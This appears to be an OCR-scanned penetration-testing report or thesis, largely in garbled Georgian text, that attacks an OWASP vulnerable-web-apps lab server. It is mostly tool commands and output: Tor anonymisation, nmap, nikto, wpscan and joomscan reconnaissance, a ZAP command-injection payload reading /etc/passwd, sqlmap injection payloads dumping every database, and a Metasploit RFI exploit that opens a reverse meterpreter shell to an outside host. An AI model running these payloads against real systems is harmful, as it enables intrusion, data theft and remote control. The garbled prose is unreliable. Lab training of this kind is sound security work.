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Annotation

Information Technology is a field of computer science and can be called all the processes related
to the exchange, storage, and distribution of information in digital format. Any source of
communication is the exchange of information and when these processes are processed
electronically, we are dealing with information technologies.

XX century became a hundred years of true discovery. Radio and TV broadcasts have been
created by means of electricity and radio waves. Then the first digital computer and first
computer network was created. Nowadays, in the computer epoch, technologies have improved
and reached the peak of development.

In the computer network, on the internet, billions of devices are included: personal computers,
telephones, digital cameras, TVs, refrigerators and more.

By means of these devices, people are able to make connections to other devices connected to the



Internet, in a short period of time, at any point in the earth, which shows the enormous size of
the Internet.

With the development of technology, security-related robes have increased. Web sites posted on
the Internet are often victims of cyber attacks. Therefore, the issue of web sites is very important

in today's digital world.
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OWASP Top 10

Open Web Application Security Project (OWASP) Top 10 Application Security Risks - 2017
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OWASP Broken Web Applications Project
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e el IC Sec! (o) P) Broken Wel Applications prc I
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applications, see h cefory b ri=_severity+asc
©0oWASP WebGoat OWASP WebGoat.NET
OWASP ESAPI Java SwingSet Interactive OWASP Mutillidae II
OWASP Security Shepherd Ghost
?Magical Code Injection Rainbow bWAPP

Damn Vulnerable Web Application

OWASP Vicnum 'OWASP 1-Liner

YGoogle Gruyere

'Cyclone ’Peruggia

306039 3390 bY 2o3OMNb0EGds, HMT 5310035305 0936 LOLMLEBHIL FgoEs3L WS
3990m3099bmm Fbmewm© 306G O 4569dmdo 56 NAT-ob w396.

06390l o 303939800 393600 LsobEHgMgLMm tutorial-U, hint-l s explination-l dg3bzgdoM
0] 65 BLOLYLEJIOL 9033 93039309, MIMYME BMm35bEOBM® Jobo gddwvysdoE0s. sg39
33b3905 0b3900 external MHgliyOLYdDY, 300IM 25339000 gdDY S B936M0 bbgs 0.

36MmbodmOHMdS



d0b9350 0dobs, ®mA B396L dogH Po@stmgdmewo d9mfig3smdol GHLEGH0MYds LOHYIECP0s©
W9IRO)M05 5 BoRobABIMEGOM BOLOSML 5™, 50Ol G9dmb3939d0, HMEILSEG
56mb03MOHMdL oo 36083690 mds 960Fgds. 530LMZ0L sIMm30 BLOBO s WBRLM
L5 gds SMLYIMOL SHYgdEo Public VPN Server-900@sb 0s0magzdgdwyero Proxy-gdoom.
abgogLo bgm30L9d0 s F00YTgAHIL YRLM Z5MIVBEHJOO 56 5MOL MBsBOMbM, MoYSL 53
LgM30L900L A9MmYgbgdom dglsdwms mdzgbag yobgm bbgolio Ab3zyM3w0. oMs sdols, gls
09 0b 300335605 Lo FoMmmgdol 99dmb3z935d0 35¢0YO™ME0S doemzb LEMWYJEHEdL
§o00g06mb Ly3MMM 3a096EIOBY OGO 5gdoldogemo Lsbol 0bxMMTs30s, 0dbgds gl
IP 305356000, Bs0sbsE bgdms 500 LgMZ0LOL godmygbgds, v 3aogb@ol 0b@HgMbyd
593H03mds. Lo3MmM0o IP doLsdoMr00l 3530l F9EIMGO00 MisBOMbM Lsdw)5E9dgd03
5MLgdMBL. Booeoma TOR Network-o. TOR-0l 385md0b 360063030 898ga0s: dob
Jugardo Bsroneo dmfgmdowmdgdo d9800b393000 53mMbg30L 3G0b30300 3538060 gd056
9603569l S dmeEm X590 gOHO dMfymdowMmds (default 356539@Mgd0m) bodo bbgsalibgs
TOR node-ob (Tor-ob Jugendo bsGI»ME0 dMfYmdoEMds) 25300m ool 06@gMbgEdo.
Node-gdl 9m®ob GH®o8030 ©536M03@ 0 Bobom 250593995 s destination lgMz9MHBY
1304LoMEYdS exit node-ols IP dobosdsGoo.

Entr)%gqard == Encrypted by Tor
g z& === Not encrypted by Tor
Tor client RUTn =
oy -
== network :“ Destination
D\ o
Middle relay ﬂy‘

Exit relay



Tor Network Logdbmdmo s69wgdl 0b3gMbg@ol LoBdstgl, Mob Bod@EorGmsw dobo
dmdbdom9d9wo 0bEH9MByEdo HmymeE fgbo, Lod Lbgssbbgs d3994sbsdo dymeo Tor Node-ob
393W0m 2oOoL. 3MbROYMEMSE05 235dg3L node-9dol 899306Mgd0L bodmoegdsls. 53
39000b393590 0BMHYdS 063YMbYEHOL Lobdstg, oaMsd I306MHYDS SBMbOTMOMds. Bmyogo
b9bsfyml 2556605 Tor-ols g59mygbgdols 3w96J30mbocro, Lbggdolimgol sGlgdmdL
139305¢MH0 3OMYMSTs: torify. Jolo sHIMYd0m T930dw0s 3163MYE I 3OMYEMSToL
AM58030 350053500L535M00M0 TOR-T0. sGBGdMBL torify-bg ma@m Loodgom Ladwowgds
06@&9m69¢) G®s53030L Tor network-do 3500530L5d56MM9dOLMZ0L, 39Mdm 3o Iptables. 51939
99230005 259Mm30949bmom 139305 IMs© $BMbodMOHMdOLm30L dgddbogro bgswslibgs
396530990 bobEGgdgdo dogowoms Whonix OS.

firewall-ols 999m{dgds

30639 (0330 ©535A06M™ LHOGHL M0dg Lobol firewall bemd 56 0353L. 53530 Y39HAMYdS
wafw00f - tool to identify and fingerprint Web Application Firewall products. dobo godmygqbgds
95630309, 2JIMICMO 39903900 dMI69dsl:

root@tsotne:” # wafw00f 217.147.229.13
Checking http://217.147.229.13

Generic Detection results:

No WAF detected by the generic detection
Number of requests: 13

OmO3 BsbL firewall 56 0gb5 653360, 0MPEs ymzgwmzol vbws 33sbLbmgIL, H™A Auyoglio
135696930 100%-00 9EYms6 0bRMEOs305L 56 335d¢939b.

NMAP

30093 9H0 d5HBg© LsFoMM 3OIMYEMSTS, HMTYO3 IA39DTMYOS o35 YPOBM™ L3960 By
56LYOMEO YOS 3MMGHJO0. Nmap-ob gsdmygbgds 89330005 GmymMs Linux-byg, obg



Windows-9bg. dolo do60050 359mygbgds sdm®mgdwen Imfigmdowmdsbg aoblbowo
36MHMGH9JO0L oRGDs5. HOLMZOLE Tob gosBbos 13960MYdOL »sdM30 bbgsolibgs dgmmo,
5m5 23900 59950 bbgssbbgs Firewall-gdl. 4005 3063900l b3sboMgdols Nmap-ls
3999905 Hobolifo® 253Dsg0vIeo 96 bgwoom shgMHowo b3MH03EGHIO0L godmyqbgds
Lb350sLb3s 835 gd9dOL 53EMBoEH0DOEF00LMZ0L. 15939 F9IdE0s Vs 3MEJODY
399390100 bgMH30LgdoL s Jom0 39MBYOOL YD, M39MSE0IE0 LOLEHYIOL IYIBS
3d6535¢00 bbgs M5a.

6590096009 459mbY0 FoQOOMO:

nmap -F top 100 36 G0l b3sboMgds

nmap -sT 439w tep 3O GHoL b3obo®mgds

nmap -sT subnet-ol 13606 gds 439w tep 30O
nmap -sU y3gs udp 3mmEob 1gsbomgds

nmap -p U:53,79,113,T:21-25 30330606900 tcp & udp (range)
nmap -O 396530790 bobiBgdob oygbs

nmap -sV 19gH30Lgd0L 39MHLOJdIOL oAb

nmap -sA firewall-ob 5©dmPqbos

135606900l bbgoolbgs 39dbogs:

nmap -sN Null scan

nmap -sF Fin scan

nmap -sX Xmas scan

nmap 192.168.1.1-20 IP 80L58560900l ©0535Hmbo

Nmap 502960 363900l 6 bbgoolibgs dmdscnmdsls



open - oY

closed - obvyOHEmO

filtered - 3m®E0 56 (0L bgerdolsfzmdo, LogsMmsMEME 0BOwEH™MYdS firewall-ol dog
unfiltered - 3m&M@&0 bgedobsizmdos, Bs®s8 dobo dEAMBsMYMdS 396 ©IH0b©S
open/filtered - 0055 56 080 GHGds firewall-ob dog®

closed|filtered - @sbwGHME0s 56 0GowEHGYds firewall-ob dog®

nmap -F 217.147.229.13

Starting Nmap 7.01 ( https://nmap.org ) at 2017-07-09 21:52 +04
Nmap scan report for 217.147.229.13
Host is up (0.0020s latency).

Not shown: 92 closed ports

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

139/tcp open netbios-ssn

143/tcp open imap

443/tcp open https

445/tcp open microsoft-ds
8080/tcp open http-proxy

8081/tcp open blackice-icecap



Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds

MMM 3690930 bgebsfigmd s9A0bs 90090 VoS 3mMEHgdo: 22/tcp SSH, 80/tcp HTTP,
139/tcp Netbios, 143/tcp IMAP, 443/tcp HTTPS, 445/TCP Microsoft-ds, 8080/tcp HTTP-Proxy,

8081/tcp Blackice-Icecap.

33900m B39600 4539033900 LOEY930580. 25dM309gbmo Bgdmo Imygzsbowo 113696900,

©530{gymo nikto-mo:

nikto -host 217.147.229.13

doLo output-o:

root@tsotne:”# nikto -host http://217.147.229.13/

- Nikto v2.1.5

+ Target IP:  217.147.229.13

+ Target Hostname: ~ 217.147.229.13

+ Target Port: 80

+ Start Time: 2017-07-07 18:02:39 (GMT4)

+ Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch
proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k
Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1



+ Server leaks inodes via ETags, header found with file /, inode: 286483, size: 28067, mtime:

0x51¢225365e00

+ The anti-clickjacking X-Frame-Options header is not present.

+ OSVDB-3268: /cgi-bin/: Directory indexing found.

+ /crossdomain.xml contains a full wildcard entry. See

http://jeremiahgrossman.blogspot.com/2008/05/crossdomainxml-invites-cross-site.html

+ /crossdomain.xml contains 0 line which should be manually viewed for improper domains or

wildcards.

+ IP address found in the 'location' header. The IPis "127.0.1.1".

+ OSVDB-630: IIS may reveal its internal or real IP in the Location header via a request to the

/images directory. The value is "http://127.0.1.1/images/".

+ mod_perl/2.0.4 appears to be outdated (current is at least 2.0.7)

+ proxy_html/3.0.1 appears to be outdated (current is at least 3.1.2)

+ Perl/v5.10.1 appears to be outdated (current is at least v5.14.2)

+ Python/2.6.5 appears to be outdated (current is at least 2.7.3)

+ OpenSSL/0.9.8k appears to be outdated (current is at least 1.0.1c). OpenSSL 0.9.8r is also

current.

+ PHP/5.3.2-1ubuntu4.30 appears to be outdated (current is at least 5.4.4)

+ mod_mono/2.4.3 appears to be outdated (current is at least 2.8)

+mod_ssl/2.2.14 appears to be outdated (current is at least 2.8.31) (may depend on server version)

+ Apache/2.2.14 appears to be outdated (current is at least Apache/2.2.22). Apache 1.3.42 (final

release) and 2.0.64 are also current.

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE



+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST

+mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1 - mod_ssl
2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell

(difficult to exploit). CVE-2002-0082, OSVDB-756.

+ Cookie phpbb2owaspbwa_data created without the httponly flag

+ Cookie phpbb2owaspbwa_sid created without the httponly flag

+ Retrieved x-powered-by header: PHP/5.3.2-1ubuntu4.30

+ OSVDB-3092: /phpmyadmin/changelog.php: phpMyAdmin is for managing MySQL databases,

and should be protected or limited to authorized hosts.

+ OSVDB-3268: /test/: Directory indexing found.

+ OSVDB-3092: /test/: This might be interesting...

+ OSVDB-3092: /cgi-bin/: This might be interesting... possibly a system shell found.

+ OSVDB-3093: /.bash_history: A user's home directory may be set to the web root, the shell

history was retrieved. This should not be accessible via the web.

+ OSVDB-3268: /icons/: Directory indexing found.

+ OSVDB-3268: /images/: Directory indexing found.

+ OSVDB-3268: /images/?pattern=/etc/*&sort=name: Directory indexing found.

+ Cookie phpMyAdmin created without the httponly flag

+ OSVDB-3233: /icons/README: Apache default file found.

+ Uncommon header 'x-pingback' found, with contents:

http://217.147.229.13/wordpress/xmlrpc.php

+ /wordpress/: A Wordpress installation was found.

+ /phpmyadmin/: phpMyAdmin directory found



+ 6544 items checked: 1 error(s) and 35 item(s) reported on remote host

+ End Time: 2017-07-07 18:03:26 (GMT4) (47 seconds)

+ 1 host(s) tested

306390 d9bg3005639 hsbL, MM 53¢0035305 9986153 LOLLEIL TgoEegL. slsbodbsgos,
603 1396965 SMILHMOY 45830390 M39MOE30IE LOLEJISBY OBBMEOTs(305. MY
1339 930603bgm, 5OEgMHMO 113569600 56 0dEg3s MEY® 06BMEMTs305L S FoWIOMWO
390092900 4m39m30L byFoMmMIOL 4505dM{AgdL. J0mdgEHIL 0L 3561599BHMYdO,
ORMO0(355 M3gMH5300 LobiBgds, apache-Us s php-b 396L0s s BbZs LoliGgdmEo
9mbs399900 FoMGH035 FoLYgsdgd90s. 5d0EH™MA Abs3L0 B3969MHgd0 56 0deg3056 100%-00

L6 d9009390L.

nikto-0 5©dmsBobs apache-ls ®5dmgbodg missconfiguration, wordpress-ols 0blEowsE00
dobodatnby /wordpress, phpmyadmin-ols 0bbEows30s dobods@mnby /phpmyadmin,
Uboslibgs Loob@gMglic oMgdEHMM0gdo, http 3GMEHMIMEOL 3700 FgMMEIdO S
Lbgo.

9m3999900 06836 F5305H9 IYMObMBO MA03MEM0s wordpress-ols dgdm{jdgds
LoLMBEBHYODY, YD FslDY gobobergdgdo 33060530 gOHMbgw o063 2odMmPOL s
d9L50530bs plugin-gdol d3zgero 39MLogdo bdotMs 9993930l LsdoBbg begds.

9399 6583969005 Bs3m3bo LoliliBggdol dbmeme dzoMgwo bsfowro
root@holiday:™# wpscan -r -e vp vt -u 217.147.229.13/wordpress/ --random-agent
WordPress Security Scanner by the WPScan Team
Version 2.9.2
Sponsored by Sucuri - https://sucuri.net

@_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_



[+] URL: http://217.147.229.13/wordpress/

[+] Started: Fri Jul 7 10:11:45 2017

['] The WordPress 'http://217.147.229.13/wordpress/readme.html' file exists exposing a version

number

[+] Interesting header: SERVER: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-
lubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5
mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1

[+] Interesting header: STATUS: 200 OK

[+] Interesting header: X-POWERED-BY: PHP/5.3.2-1ubuntu4.30

[+] XML-RPC Interface available under: http://217.147.229.13/wordpress/xmlrpc.php

[!] Includes directory has directory listing enabled: http://217.147.229.13/wordpress/wp-includes/

[+] WordPress version 2.0 (Released on 2005-12-26) identified from advanced fingerprinting,

meta generator, links opml

[!] 12 vulnerabilities identified from the version number

[!] Title: WordPress 2.0 - 3.0.1 Cross-Site Scripting (XSS) in wp-admin/plugins.php

Reference: https://wpvulndb.com/vulnerabilities/6011

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi’name=CVE-2010-5295

[i] Fixed in: 3.0.2



[!] Title: WordPress 2.0 - 3.0.1 wp-includes/capabilities.php Remote Authenticated Administrator

Delete Action Bypass

Reference: https://wpvulndb.com/vulnerabilities/6012

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?’name=CVE-2010-5296

[i] Fixed in: 3.0.2

[!] Title: WordPress <= 4.0 - Server Side Request Forgery (SSRF)

Reference: https://wpvulndb.com/vulnerabilities/7696

Reference: http://www.securityfocus.com/bid/71234/

Reference: https://core.trac.wordpress.org/changeset/30444

Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?’name=CVE-2014-9038

[i] Fixed in: 4.0.1

[+] Enumerating installed plugins (only ones with known vulnerabilities) ...

Time: 00:00:20

===========> (1523 / 1523) 100.00% Time: 00:00:20

[+] We found 3 plugins:



[+] Name: akismet
| Latest version: 3.3.2
| Location: http://217.147.229.13/wordpress/wp-content/plugins/akismet/
[!] Directory listing is enabled: http://217.147.229.13/wordpress/wp-content/plugins/akismet/
[!'] We could not determine a version so all vulnerabilities are printed out
[!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
Reference: https://wpvulndb.com/vulnerabilities/8215
Reference: http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/

Reference: https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-

wordpress-plugin.html

[i] Fixed in: 3.1.5

[+] Name: mygallery
| Location: http://217.147.229.13/wordpress/wp-content/plugins/mygallery/
| Changelog: http://217.147.229.13/wordpress/wp-content/plugins/mygallery/changelog.txt
[!] Directory listing is enabled: http://217.147.229.13/wordpress/wp-content/plugins/mygallery/
[!'] We could not determine a version so all vulnerabilities are printed out
[!] Title: myGallery <= 1.4b4 - Remote File Inclusion
Reference: https://wpvulndb.com/vulnerabilities/6506

Reference: https://www.exploit-db.com/exploits/3814/

[+] Name: wpSS



| Location: http://217.147.229.13/wordpress/wp-content/plugins/wpSS/
| Readme: http://217.147.229.13/wordpress/wp-content/plugins/wpSS/readme.txt
[!] Directory listing is enabled: http://217.147.229.13/wordpress/wp-content/plugins/wpSS/
[!'] We could not determine a version so all vulnerabilities are printed out
[!] Title: Spreadsheet <= 0.6 - SQL Injection
Reference: https://wpvulndb.com/vulnerabilities/6482

Reference: https://www.exploit-db.com/exploits/5486/

[+] Finished: Fri Jul 7 10:12:24 2017
[+] Requests Done: 1615
[+] Memory used: 115.973 MB

[+] Elapsed time: 00:00:38

M0 3690530 1356965 15330 LOLMBE G 50BMOBOBY, Fo0d Fm®ol XSS, DOS, SSRF
(Server Side Request Forgery), SQL Injection, oo M5 439@sbg Lsob@geglms - Remote File
Inclusion. 5©3mhgboe LollEggdL Msb sbarsgl 0b3gdo external MgLwyMLYdBY, Loss
bHgdols3™dos )G OO 068METs305 LOLMLEBHOL Tglobgd, Jomo 9J3wmoEgdom ©s

9309965309000 M) OHMYMO MBS AoFMLFMOEIL 3M63M9EIo Lobldg.
3ob30bomm wpscan-ols 30g® Bs3mgbo LobBggdoEsb ghm-g@mo:

[+] Name: mygallery

| Location: http://217.147.229.13/wordpress/wp-content/plugins/mygallery/

| Changelog: http://217.147.229.13/wordpress/wp-content/plugins/mygallery/changelog.txt

['] Directory listing is enabled: http://217.147.229.13/wordpress/wp-content/plugins/mygallery/



[!'] We could not determine a version so all vulnerabilities are printed out

[!] Title: myGallery <= 1.4b4 - Remote File Inclusion
Reference: https://wpvulndb.com/vulnerabilities/6506

Reference: https://www.exploit-db.com/exploits/3814/

B90mm 506036 w0b3gdbYg d930de0s 30bOM® YEHIWIMHO 06RMMT530s LOLYLEOL
d9L5bgd, wpvulndb.com oMo gbl wordpress-ols LolmliEggdol dmbsigdoms d5BsL.
https://wpvulndb.com/vulnerabilities/6506 58 (w0b3%9 30 dm3Egd0s 06BN 5305
306309@ Mo LobMbGob Tgbobgd: myGallery <= 1.4b4 - Remote File Inclusion 609653 63
wordpress-ob Plugin-o - myGallery-o, 1.4b4 39®bool 439000 9903531 Remote File Inclusion

LoLMLEAIL, Mo3 89933l LoTMOEGdSL 5dE93L BooEBY 5BHZ0MMML Fo369 3O s 9999
9mbO0bmU 53 3oL 3o8d390s. https://www.exploit-db.com/exploits/3814/ 53 ¢rob3%g 30
9m(399990005 0300006 301000, HMIWOL B5dwY9Egd0MSE bgds LOLMLEOEG 390Mmygbgds.

399M3(350M” 30093 9M00 1356960 joomscan. joomscan-o 55939 owasp-ob 3OMOYIIE0s, Jolo
399mygqbgds JotrEHogos:

joomscan -u http://217.147.229.13/joomla/

9399mo 6583969005 Fbmemo LolmliEob d99;339ero plugin-gdo:

#1
Info -> Generic: htaccess.txt has not been renamed.

Versions Affected: Any



Check: /htaccess.txt

Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely

to succeed.

Vulnerable? Yes

#2

Info -> Generic: Unprotected Administrator directory

Versions Affected: Any

Check: /administrator/

Exploit: The default /administrator directory is detected. Attackers can bruteforce administrator
accounts. Read:

http://yehg.net/lab/pr0js/view.php/MULTIPLE%20TRICKY%20WAYS%20TO%20PROTECT.pdf

Vulnerable? Yes

#14

Info -> Core: Admin Backend Cross Site Request Forgery Vulnerability

Versions effected: 1.0.13 <=

Check: /administrator/

Exploit: It requires an administrator to be logged in and to be tricked into a specially crafted

webpage.

Vulnerable? Yes

#19



Info -> CorePlugin: TinyMCE TinyBrowser addon multiple vulnerabilities
Versions effected: Joomla! 1.5.12
Check: /plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/

Exploit: While Joomla! team announced only File Upload vulnerability, in fact there are many.

See: http://www.milwOrm.com/exploits/9296

Vulnerable? Yes

#35

Info -> CoreComponent: com_mailto timeout Vulnerability
Versions effected: 1.5.13 <=

Check: /components/com_mailto/

Exploit: [Requires a valid user account] In com_mailto, it was possible to bypass timeout

protection against sending automated emails.

Vulnerable? Yes

OmO3 Bsbl joomla-3 L3950 3936 LOLYLEIL Fgo3o3L.
399M33900m0 99990 Bzsbgho - OWASP ZAP

50 99900b393500, HMOgLOE BZOBOMYOS 5MBOM MOLIL 56 FMOEIZL, S 56 SGOL
3608369 m3560 5300035305 sH056YdS Mg 565, Fga300¢0s J5dMm309gbmam ATTACK Mode
5 B39606MgdoL rule-gdo oz3s99bmo High-bg, Hmam®s by@ombgs bobggbgdo:



Activities % OWASP ZAP ~

Ede Egi \low dnaiyse Beport Jools Qnine Help
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& Skes | + [ & Guick Start | = Request | Response+= | 4

[~ Jo-frmfe] | Header: Text %] |Body: Tent o] —
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¥ Conteds i11idas /index.php Fpagemdns - Lookup php H seppaan o] L LS
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Release

Release
#
L
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Release
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or %55 P ot Enabled Release
- XContant Type-Options Headsr Mssing Release
[ vistory | % earch | FBaiaria ] | output | B active Scan | 8 Spider | & | Xérame-options Header Scanner Reieass [
Remote OS Command Injection
URL: hitpe/f217.147.225.1 Jmutilldae/index php?page ~dns-loakup.phg
Risk P bigh
Confidence: Madum
Parameter: target host
Attack: ZAPGcat fetcpasswié
Ewdence:  rootie0:0
ovED: 78
wascio: 3
ML source: Active
« | Description: || Resetto Factory Defauts | | cancel | [ox ],

Attack technique used for unauthorized execution of operating system commands. This attack is passible when an application accepts untrusted input to bulld oparating system commands in an insecure manner invahing Improper
data sanitization, and/or improper calling of extermal pragrams

Gther info:

tring Errar (56)
ID In URL Rewrte (2646)
r

Salution:

f at all possible

ermal processes to recreate the dessred functionaiity,
5] Run your ¢

Mot Enabled (3084) commands can

der Missing (3225)

nment that enforces strict boundanies between the process and the operating system, This may effectively restrict which fles can be accessed in s particular directory or which -
Reference

http:ficwe, mitrs. orgidatardafinitions/7:
Fttps.fhwwn. awasp. Orgfindes.

Imms Mo nE 7 MO Currert Scans @0 B0 A1 ©0 #0 0 %0

MO 3 Inbowmbyero 0ym 439wsbg dg@o bobmlidg 08 8Hsmmgdeol 153569685 03m3bs,
ol 300@1oeO0 35649653 339936 3od390Me0. BsMbbog dmyzsbowos smdmBgbowo
LoLBEBY9OOL BFMbIMZ9¢0, o0 JeslloB03530gd0L s MOLIOL dobgEz0m. Jo®owo
&olgol 8993390 LoLLEJgd0 9o 360d369eMm35605 S Fo3OWgdom Fo6(3H0350
399mUoygb9d9wo 8993930l dogm. qigbos: Persistent & Reflected XSS, External Redirect, Path
Traversal, Remote File Inclusion, bbgsqolbgs Lsbol SQL Injection. 51939 G95MJOI0M Q3O
Golgol 999339o0: Application Error Disclosure, Buffer Overflow, Directory Browsing s bbgs,
068m®3s5:300L 999(339¢0 Warning-9d0. bvew 6s3mgbos 22 Alert-o s xsddo 23 000-0¢y
Lbgoslibgs babol Lolvlidg.

399M3(350M™ 300093 9O BobEHIMILM bgwlisfym - sqlmap-o. sqlmap, OHmamOE Bgdmo
53060369 sql 06730900l BHgLEHOMIOOLMZ0L A5639M3b0o by lisHigms. dolo 3sdmygbgdols
0bLEMwY305 s option-gdolL HAEHIW IO s©FIMS F90d0sm 0bow Mo 33 by:
https://github.com/sqlmapproject/sqlmap/wiki/Usage. bgeobsfigmb gosB60s --tor option-o,

OHIgeos 339393l GgLodegdemdsls tor-ol JugErol gogarom dsbgzsbmmEogwmo 893939,
653 9993930L 56mb0odHMBSL »bBOb3garymazl. sqlmap-ob §o®ds@Hgdoom godmygbgdolimgzgols



Lo FoMMs 8t3393Mm398m@L sql 069300l LoliliEol d99339wo 3dEo. S1sgm0 dTFYGdO
5659600 50dMsBobs OWASP-ol bi3sbgMds:

sqlmap --risk=3 --level=5 nks --random-agent --dump-all --dbs -u

"http://217.147.229.13/mutillidae/level-1-hints-page-wrapper.php?level 1 HintIncludeFile=24-2"

09093900 d030090m d9dgy output-l:

[*] starting at 21:50:26

[21:50:26] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-
agents.txt": 'Opera/9.62 (X11; Linux i686; U; Linux Mint; en) Presto/2.1.1'

[21:50:26] [INFO] resuming back-end DBMS 'mysql'
[21:50:26] [INFO] testing connection to the target URL

sqlmap resumed the following injection point(s) from stored session:

Parameter: levell1HintIncludeFile (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause

Payload: level1HintIncludeFile=24-2 AND 4992=4992

Type: error-based

Title: MySQL >=5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY

clause

Payload: level1HintIncludeFile=24-2 AND (SELECT 1222 FROM(SELECT
COUNT(*),CONCAT(0x7176626271,(SELECT



(ELT(1222=1222,1))),0x71716b7a71, FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)

Type: AND/OR time-based blind
Title: MySQL >=5.0.12 AND time-based blind (SELECT)

Payload: levellHintIncludeFile=24-2 AND (SELECT * FROM (SELECT(SLEEP(5)))LYQA)

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns

Payload: level1HintIncludeFile=-9541 UNION ALL SELECT
NULL,CONCAT(0x7176626271,0x70706d5a54774647774f47494d654345514266526e7a4264655a6
379585659436242744961624473,0x71716b7a71)-- -

[21:50:26] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0

[21:50:26] [INFO] fetching database names

[21:50:26] [INFO] the SQL query used returns 34 entries

available databases [34]:

[*] .svn

[*] bricks



[*] bwapp

[*] citizens

[*] cryptomg

[*] dvwa

[*] gallery2

[*] getboo

[*] ghost

[*] gtd-php

[*] hex

[*] information_schema

[*]isp

[*] joomla

[*] mutillidae

[*] mysql

[*] nowasp

[*] orangehrm

[*] personalblog

[*] peruggia

[*] phpbb

[*] phpmyadmin

[*] proxy



[*] rentnet

[*] sqlol

[*] tikiwiki

[*] vicnum

[*] wackopicko

[*] wavsepdb

[*] webcal

[*] webgoat_coins
[*] wordpress

[*] wraithlogin

[*] yazd

[21:50:26] [INFO] fetched data logged to text files under '/root/.sqlmap/output/217.147.229.13'

653 6036531 ™A sql 0bgd30s FoMTsEHgdom gobbmMEogws s Jogz00gm Lyso@ol 34
bbgoalibgs dmbsigdoms 35BsBY gomas.

993939000 OHMIgeodg LolMbEob 4sdmygbgdom Loo@Bg dmz03m3mm (3Mds. sdolm3zols
©53330Mds metasploit fraemwork-o. Metasploit-o gl 5ol Ruby-%bg sfg@oo rapid7-ob
36MHm9dGHo, MmIgaroi Homdmaagbl LolvlEggdol, gJudermo@gdol s paylod-9dol o
653690l 5 BoOOME 45dM0Y9gbgds penetration tester-93ol Joge Jugarol, Mm3gesEomeEo
LolEgdgool, web-53¢03530900UL, Lb3oslibgs bgMz0lLgd0l 9nfg35™dol GHglEH0oMmgdoLm30L
@5 3500 9gbdys@e0obmgzol. Metasploit-ols JoMmgs FgLodergdgEos MHMAME 3 3nblmeom,

51939 395303790 06EIHBgoLOL Lodwoegdom.



9939390000 metasploit-8o 3o3mgbmm 3mb3Mg@Ewo exploit-o:
metasploit-ols 3mblmendo 99303560 J90ga0 dMAs69d00: msfconsole
? 235993l 06x3METs300L bgedolsfgmad d6dsbgd90bY.

OWASP ZAP-0l dogé 6530360 Remote File Inclusion LolbbGol 9993339¢00

http://217.147.229.13/mutillidae/?page= ¢00630L 359mggbgdoo dqlsdwgdgeros LgMz9m g 85369

300U 53300035 S 399009y 50 35369 30U god39ds.
msfconsole-8o 9939358 990090 dMsbgds:
use exploit/unix/webapp/php_include

o3 603bsgl, MM 3099bgdm 3mb3MgE s RFT Lol ol exploit-l. d6dsbgd0L 2593900
3900092 250093003500 30b63M9EHws 53 exploit-ol d9b0w9do, B39bo command pormt-o
390(330935. 365HM Mo 356539 BHMGO0L ofgMOl L8 )5egdsl 435dw93L exploit-o - SHOW
OPTIONS:

15350 YOMEM 356599FHMJdOL Bos G9dg0o:

PATH The base directory to prepend to the URL to try

RHOST The target address

RPORT The target port

SRVHOST The local host to Iisten on. This must be an address on the local machine
SRVPORT The Iocal port to listen on.

RPORT, SRVHOST s SRVPORT-0bm30l o3@™m3mo default 36093690 mdgd0, bonerm
RHOST-30 Bogfhgtmom Bggbo ghzgmol IP dobsdstroo - 217.147.229.13, PATH-3o 30
do3mo0mmm OWASP ZAP-ol dog6 6530360 bolvbi@ol d9d33geo URL-o: /mutillidae/?page=
. 393193350 361356905 run O 39 MMM JJu3eMOEOL FglcrIMEgdsL. Modmgbody Hmomdo

do300900» meterpreter session-U:



msf exploit( ) = run

*] Started reverse TCP handler on 85.204.49.239:4444
217.147.229.13:80 - Using URL: http://0.0.0.0:8080/UCYyllg
*] 217.147.229.13:80 - Local IP: http://85.204.49.239:8080,/UCYyllg
217.147.229.13:80 - PHP include server started.
*] 217.147. 5 31E3R - Loading RFI URLs from the database...
217.147.229.13:80 - Loaded 2241 URLs
*] Sending stage (34122 bytes) to 217.147.229.13
Meterpreter session 1 opened (85.204.49.239:4444 -> 217.147.229.13:58928) at 2017-07-07 12:11:58 -0400

neterpreter > [J

meterpreter-o b 5®ob 3slolzm®o shell-ol s GHgMoEH03s sdMo30 B3wYb309d0m ©s
d9L5dEgdMBGO0m. 00 G9dmbgz93580 0v) meterpreter Lybos HoMToGHYO0M YOS, M3
LmEombgs boh3z9bqd0, 60dbsgl, HmA B396 M339 M39Ms30we LoliBYIsbg 235936 IM3m3z9do
